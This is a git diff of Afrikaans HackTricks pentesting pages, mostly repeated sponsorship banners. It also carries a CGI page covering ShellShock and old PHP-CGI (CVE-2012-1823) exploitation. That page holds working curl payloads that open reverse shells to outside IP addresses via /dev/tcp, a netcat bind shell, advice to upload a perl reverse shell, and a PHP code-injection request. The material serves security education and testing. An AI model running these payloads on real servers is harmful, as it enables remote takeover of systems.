* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,31 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Kyk na hierdie pos:** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,33 +1,35 @@
# Emmers
# Buckets
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Kyk na hierdie bladsy as jy meer wil leer oor die opspoor en misbruik van Emmers:
Kyk na hierdie bladsy as jy meer wil leer oor die opspoor en misbruik van Buckets:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,56 +1,41 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Inligting
Die **CGI-skripte is perl-skripte**, so as jy 'n bediener gekompromitteer het wat _**.cgi**_ skripte kan uitvoer, kan jy 'n perl-omgekeerde dop **oplaai** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), die **uitbreiding verander** van **.pl** na **.cgi**, **uitvoerregte gee** \(`chmod +x`\) en die omgekeerde dop **vanaf die webblaaier toegang** om dit uit te voer.
Om te toets vir **CGI-gebreke**, word dit aanbeveel om `nikto -C all` \(en al die invoegtoepassings\) te gebruik.
Die **CGI-skripte is perl-skripte**, so, as jy 'n bediener gecompromitteer het wat _**.cgi**_ skripte kan uitvoer, kan jy **'n perl reverse shell oplaai** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **die uitbreiding verander** van **.pl** na **.cgi**, **uitvoeringsregte gee** \(`chmod +x`\) en **toegang** tot die reverse shell **van die webblaaier** om dit uit te voer.
Om te toets vir **CGI kwesbaarhede** word dit aanbeveel om `nikto -C all` \(en al die plugins\) te gebruik.
# **ShellShock**
**ShellShock** is 'n **kwesbaarheid** wat die wyd gebruikte **Bash** opdraglyn-skulp in Unix-gebaseerde bedryfstelsels affekteer. Dit teiken die vermoë van Bash om opdragte uit te voer wat deur aansoeke oorgedra word. Die kwesbaarheid lê in die manipulasie van **omgewingsveranderlikes**, wat dinamiese benoemde waardes is wat impak het op hoe prosesse op 'n rekenaar uitgevoer word. Aanvallers kan dit uitbuit deur **skadelike kode** aan omgewingsveranderlikes te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om moontlik die stelsel te kompromitteer.
**ShellShock** is 'n **kwesbaarheid** wat die algemeen gebruikte **Bash** opdraglyn-skal in Unix-gebaseerde bedryfstelsels beïnvloed. Dit teiken die vermoë van Bash om opdragte wat deur toepassings oorgedra word, uit te voer. Die kwesbaarheid lê in die manipulasie van **omgewing veranderlikes**, wat dinamiese benoemde waardes is wat beïnvloed hoe prosesse op 'n rekenaar loop. Aanvallers kan dit benut deur **kwaadaardige kode** aan omgewing veranderlikes te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om die stelsel moontlik te kompromitteer.
Deur hierdie kwesbaarheid te misbruik, kan die **bladsy 'n fout gooi**.
Deur hierdie kwesbaarheid te benut, kan die **bladsy 'n fout gooi**.
Jy kan hierdie kwesbaarheid **vind** deur op te let dat dit 'n **ou Apache-weergawe** en **cgi\_mod** \(met cgi-lys\) gebruik of deur **nikto** te gebruik.
Jy kan hierdie kwesbaarheid **vind** deur te let op dat dit 'n **ou Apache weergawe** en **cgi\_mod** \(met cgi-gids\) gebruik of deur **nikto** te gebruik.
## **Toets**
Die meeste toetse is gebaseer op die uitvoer van 'n string en verwag dat daardie string in die web-terugvoer teruggegee word. As jy dink 'n bladsy mag kwesbaar wees, soek na al die cgi-bladsye en toets hulle.
Meeste toetse is gebaseer op om iets te echo en verwag dat daardie string in die webrespons teruggestuur word. As jy dink 'n bladsy mag kwesbaar wees, soek vir al die cgi-bladsye en toets hulle.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(weerspieëlde, blinde en out-of-band\)**
Curl is 'n nuttige hulpmiddel wat gebruik kan word vir die toetsing van CGI-skripsies. Dit kan gebruik word om HTTP-aanvrae na 'n webbediener te stuur en die respons te ontleed. Hier is 'n paar maniere waarop Curl gebruik kan word vir die toetsing van CGI-skripsies: weerspieëlde, blinde en out-of-band aanvalle.
### Weerspieëlde aanvalle
By 'n weerspieëlde aanval word die aanvallersinvoer direk in die HTTP-aanvraag ingesluit. Die webbediener sal die invoer dan verwerk en die uitset sal in die HTTP-respons teruggegee word. Dit kan gebruik word om te kyk of daar enige kwesbaarhede in die CGI-skripsie is wat die aanvaller kan uitbuit.
### Blinde aanvalle
By 'n blinde aanval word die aanvallersinvoer nie direk in die HTTP-respons ingesluit nie. In plaas daarvan sal die aanvaller 'n manier moet vind om die uitset van die aanvraag op 'n ander manier te ondersoek. Dit kan gedoen word deur te kyk na veranderinge in die gedrag van die webbediener of deur die aanvraag na 'n ander kanaal te stuur, soos 'n e-pos of 'n loglêer.
### Out-of-band aanvalle
By 'n out-of-band aanval word die aanvallersinvoer gebruik om 'n ander tipe kommunikasie te inisieer, soos DNS- of HTTP-aanvrae na 'n eksterne bediener. Die aanvaller kan dan die respons van hierdie aanvrae gebruik om inligting te verkry of verdere aanvalle uit te voer.
Curl is 'n kragtige hulpmiddel wat verskeie aanvalstegnieke ondersteun. Dit kan gebruik word om CGI-skripsies te toets vir kwesbaarhede en om die veiligheid van 'n webtoepassing te verbeter.
## **Curl \(reflected, blind and out-of-band\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -63,41 +48,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Uitbuiting
Om een CGI-kwetsbaarheid uit te buiten, moet je eerst de kwetsbaarheid identificeren en begrijpen hoe deze kan worden misbruikt. Hier zijn enkele veelvoorkomende methoden om CGI-kwetsbaarheden uit te buiten:
### Command Injection
Bij command injection maak je gebruik van het feit dat de invoer van de gebruiker direct wordt doorgegeven aan het besturingssysteem. Je kunt kwaadaardige commando's invoeren om opdrachten uit te voeren op de server. Dit kan leiden tot het uitvoeren van willekeurige code, het verkrijgen van gevoelige informatie of het verkrijgen van toegang tot het systeem.
### Path Traversal
Bij path traversal maak je gebruik van het feit dat de CGI-toepassing bestanden op de server kan lezen. Je kunt speciale tekens gebruiken om de bestandsnaam te manipuleren en toegang te krijgen tot bestanden buiten de beoogde directory. Dit kan leiden tot het lekken van gevoelige informatie of het uitvoeren van ongeautoriseerde acties.
### File Inclusion
Bij file inclusion maak je gebruik van het feit dat de CGI-toepassing externe bestanden kan opnemen. Je kunt speciale tekens gebruiken om een externe URL op te geven en kwaadaardige code uit te voeren vanaf een externe server. Dit kan leiden tot het uitvoeren van willekeurige code, het verkrijgen van gevoelige informatie of het verkrijgen van toegang tot het systeem.
### Denial of Service (DoS)
Bij een Denial of Service-aanval maak je gebruik van het feit dat de CGI-toepassing kwetsbaar is voor overbelasting. Je kunt een groot aantal verzoeken naar de server sturen om de server te overbelasten en onbeschikbaar te maken voor legitieme gebruikers.
### Remote Code Execution (RCE)
Bij Remote Code Execution maak je gebruik van het feit dat de CGI-toepassing externe code kan uitvoeren. Je kunt kwaadaardige code invoeren om opdrachten uit te voeren op de server. Dit kan leiden tot het uitvoeren van willekeurige code, het verkrijgen van gevoelige informatie of het verkrijgen van toegang tot het systeem.
### SQL Injection
Bij SQL Injection maak je gebruik van het feit dat de CGI-toepassing onvoldoende sanitizing uitvoert op SQL-query's. Je kunt kwaadaardige SQL-instructies invoeren om de database te manipuleren, gevoelige informatie te verkrijgen of toegang te krijgen tot het systeem.
### Cross-Site Scripting (XSS)
Bij Cross-Site Scripting maak je gebruik van het feit dat de CGI-toepassing onvoldoende sanitizing uitvoert op gebruikersinvoer. Je kunt kwaadaardige scripts invoeren die worden uitgevoerd in de browser van andere gebruikers. Dit kan leiden tot het stelen van sessiecookies, het uitvoeren van phishing-aanvallen of het verkrijgen van toegang tot gevoelige informatie.
### Remote File Inclusion (RFI)
Bij Remote File Inclusion maak je gebruik van het feit dat de CGI-toepassing externe bestanden kan opnemen. Je kunt speciale tekens gebruiken om een externe URL op te geven en kwaadaardige code uit te voeren vanaf een externe server. Dit kan leiden tot het uitvoeren van willekeurige code, het verkrijgen van gevoelige informatie of het verkrijgen van toegang tot het systeem.
## Exploit
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@ -111,37 +62,38 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
# **Proxy (MitM na Web-bedienerversoeke)**
# **Proxy \(MitM na Web bediener versoeke\)**
CGI skep 'n omgewingsveranderlike vir elke kop in die HTTP-versoek. Byvoorbeeld: "host: web.com" word geskep as "HTTP_HOST" = "web.com"
CGI skep 'n omgewing veranderlike vir elke kop in die http versoek. Byvoorbeeld: "host:web.com" word geskep as "HTTP\_HOST"="web.com"
Aangesien die HTTP_PROXY-veranderlike deur die web-bediener gebruik kan word. Probeer om 'n **kop** te stuur wat "**Proxy: &lt;IP_aanvaller&gt;:&lt;POORT&gt;**" bevat en as die bediener enige versoek gedurende die sessie uitvoer. Jy sal in staat wees om elke versoek wat deur die bediener gemaak word, vas te vang.
Aangesien die HTTP\_PROXY veranderlike deur die web bediener gebruik kan word. Probeer om 'n **kop** te stuur wat bevat: "**Proxy: &lt;IP\_aanvaller&gt;:&lt;PORT&gt;**" en as die bediener enige versoek tydens die sessie uitvoer. Jy sal in staat wees om elke versoek wat deur die bediener gemaak word, te vang.
# Oue PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
# Ou PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Basies, as cgi aktief is en php "oud" is (&lt;5.3.12 / &lt; 5.4.2), kan jy kode uitvoer.
Om van hierdie kwesbaarheid gebruik te maak, moet jy toegang verkry tot 'n PHP-lêer van die web-bediener sonder om parameters te stuur (veral sonder om die karakter "=" te stuur).
Daarna, om hierdie kwesbaarheid te toets, kan jy byvoorbeeld `/index.php?-s` (let op die `-s`) toegang en die **bronkode van die toepassing sal in die respons verskyn**.
Basies, as cgi aktief is en php "oud" \(&lt;5.3.12 / &lt; 5.4.2\) kan jy kode uitvoer.
Om hierdie kwesbaarheid te benut, moet jy toegang verkry tot 'n PHP-lêer van die web bediener sonder om parameters te stuur \(veral sonder om die karakter "=" te stuur\).
Dan, om hierdie kwesbaarheid te toets, kan jy byvoorbeeld toegang verkry tot `/index.php?-s` \(let op die `-s`\) en **bronkode van die toepassing sal in die antwoord verskyn**.
Daarna kan jy, om **RCE** te verkry, hierdie spesiale navraag stuur: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` en die **PHP-kode** wat in die **liggaam van die versoek uitgevoer moet word.
Voorbeeld:
Dan, om **RCE** te verkry, kan jy hierdie spesiale navraag stuur: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` en die **PHP kode** wat in die **liggaam van die versoek uitgevoer moet word**.
Voorbeeld:**
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Meer inligting oor die kwesbaarheid en moontlike aanvalle:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Voorbeeld**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
**Meer inligting oor die kwesbaarheid en moontlike eksploit:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Skryweksample**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repositorium.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,43 +1,44 @@
# Bronkode Oorsig / SAST Gereedskap
# Bronkode-oorsig / SAST-hulpmiddels
{% hint style="success" %}
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Leiding en & Lys van gereedskap
## Riglyne en & Lyste van hulpmiddels
* [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)
* [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis)
## Multi-Taal Gereedskap
## Meertalige Hulpmiddels
### [Naxus - AI-Gents](https://www.naxusai.com/)
Daar is 'n **gratis pakket om PRs te oorsien**.
Daar is 'n **gratis pakket om PRs te hersien**.
### [**Semgrep**](https://github.com/returntocorp/semgrep)
Dit is 'n **Open Source gereedskap**.
Dit is 'n **Open Source-hulpmiddel**.
#### Ondersteunde Tale
| Kategorie | Tale |
| Kategori | Tale |
| ------------ | ----------------------------------------------------------------------------------------------------- |
| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX |
| Beta | Kotlin · Rust |
| Experimental | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · |
